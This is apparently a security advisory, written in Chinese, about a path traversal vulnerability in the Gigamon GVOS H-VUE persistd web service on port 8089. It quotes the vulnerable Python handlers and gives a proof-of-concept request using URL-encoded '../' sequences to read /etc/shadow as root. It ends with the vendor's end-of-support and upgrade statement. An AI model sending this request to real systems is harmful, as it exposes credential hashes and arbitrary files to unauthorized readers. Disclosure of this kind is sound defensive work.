在 Gigamon-VUE OS(GVOS)设备的 8089 端口上的基于 Web 的管理引擎中发现了一个严重的路径遍历漏洞。该漏洞存在于 persistd 守护进程的旧版 H-VUE 子系统中,允许拥有网络访问权限的未授权远程攻击者以 root 权限读取任意文件并执行部分写操作(无法覆盖已有文件)。
/opt/tms/persistd_py/persistd.pyroot 用户身份执行)运行在 8089 端口上的 TornadoHTTP Web 服务实现了一个路由配置,映射在 /opt/tms/persistd_py/persistd.py 中。该守护进程暴露了多个路由,用于处理数据库交互和配置备份:
app = tornado.web.Application([
(r"/upload(?:/([^/]*))/?", UploadDbFile),
(r"/download/([^/]+)/?", DownloadDbFile),
# ... other routes
])
处理程序 DownloadDbFile 和 UploadDbFile 直接从 URI 正则捕获组中获取用户提供的路径,并将其未经筛选地传递给底层工具函数。
当客户端请求文件下载时,GET 处理程序调用 download_file 工具函数:
class DownloadDbFile(GenericApiHandler):
@gen.coroutine
def get(self, file_name):
# ... [validation steps skipped for clarity] ...
elif file_name is not None:
msgif = yield download_file(self, file_name)
底层目标函数 download_file 尝试通过简单的字符串拼接打开请求的文件,而不是解析安全的规范化路径:
@gen.coroutine
def download_file(caller, file_name):
buf_size = 4096
caller.set_header('Content-Type', 'application/octet-stream')
caller.set_header('Content-Disposition', 'filename=' + file_name)
msg = 'ok'
try:
# Root Cause: Direct concatenation enables directory breakout via traversal sequences
with open(DBFILE_DIR + file_name, 'r') as f:
while True:
data = f.read(buf_size)
if not data:
break
caller.write(data)
except IOError as ioe:
msg = ioe
raise gen.Return(msg)
由于没有对输入进行合法性过滤(例如,检查目录遍历序列如 ..),通过 file_name 注入的任何相对路径序列都会被直接拼接到 DBFILE_DIR 上,并相对于系统根目录进行解析。
类似地,用于数据库上传的 PUT 处理程序将请求体和用户定义的路径直接传递给 upload_file 工具函数:
class UploadDbFile(GenericApiHandler):
@gen.coroutine
def put(self, path=None):
# ...
if path is not None:
msgif = yield upload_file(self.request.body, path)
upload_file 例程使用 os.path.join 确定目标路径。然而,一个常见的安全误解是认为 os.path.join 可以防止路径遍历。实际上,如果传递给 os.path.join 的某个组件包含绝对路径或相对遍历步骤,解析后的路径将逃逸出基础目录:
@gen.coroutine
def upload_file(body, path):
msg = 'ok'
tmp_path = None
try:
yield lock.acquire()
# Vulnerable Sink 1: os.path.join does not neutralize directory traversal sequences
full_path = os.path.join(DBFILE_DIR, path)
if os.path.exists(full_path):
msg = 'dup'
else:
tmp_path = full_path + '.tmp'
old_files = filesInDir(DBFILE_DIR)
with open(tmp_path, 'wb') as out:
out.write(bytes(body))
# Vulnerable Sink 2: rename operation performs unsafe string concatenation
os.rename(tmp_path, DBFILE_DIR + path)
这种结构上缺乏输入过滤的情况允许攻击者提供包含遍历步骤的路径,从而使服务能够以运行守护进程的 root 用户上下文权限,在 DBFILE_DIR 界限之外写入任意文件。
如果攻击者对路径分隔符进行 URL 编码(将 / 编码为 %2F),路由引擎会顺利解码并处理该序列,从而绕过标准路径限制。
GET /download/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fshadow HTTP/1.1
Host: <target_ip>:8089
Accept: /
以下是供应商就该漏洞提供的官方声明及升级指导:
该 CVE 中的问题仅存在于 H-VUE 子系统中。GVOS 第 6 版已完全移除了 H-VUE 子系统,而 GVOS 5.16.1 是包含该子系统的最后一个版本。版本 5.16.1 已于 2023 年 5 月 26 日停止支持。当前任何受支持的 GVOS 版本均不包含此漏洞。
记录受支持版本及停止支持日期的 GVOS 支持矩阵可在此处找到:
https://www.gigamon.com/content/dam/customer-portal/MS-Software-Versions-7181.pdfGigamon 的停止销售与停止支持政策可在此处找到:
https://www.gigamon.com/support/policies/eol-policy.html任何 Gigamon 生产环境都不应运行不受支持的软件版本(NIST SP 800-53 SA-22 “不受支持的系统组件”)。如果您正在运行此类版本,Gigamon 强烈建议您尽快升级到受支持的发布版。受支持的客户可以从 Gigamon 社区门户获取升级版本的 GVOS。不受支持的客户请联系 Gigamon 讨论支持选项:
https://www.gigamon.com/contact-sales.html
我们在此感谢 Gigamon 产品安全与工程团队在本次披露过程中所提供的优秀协调工作。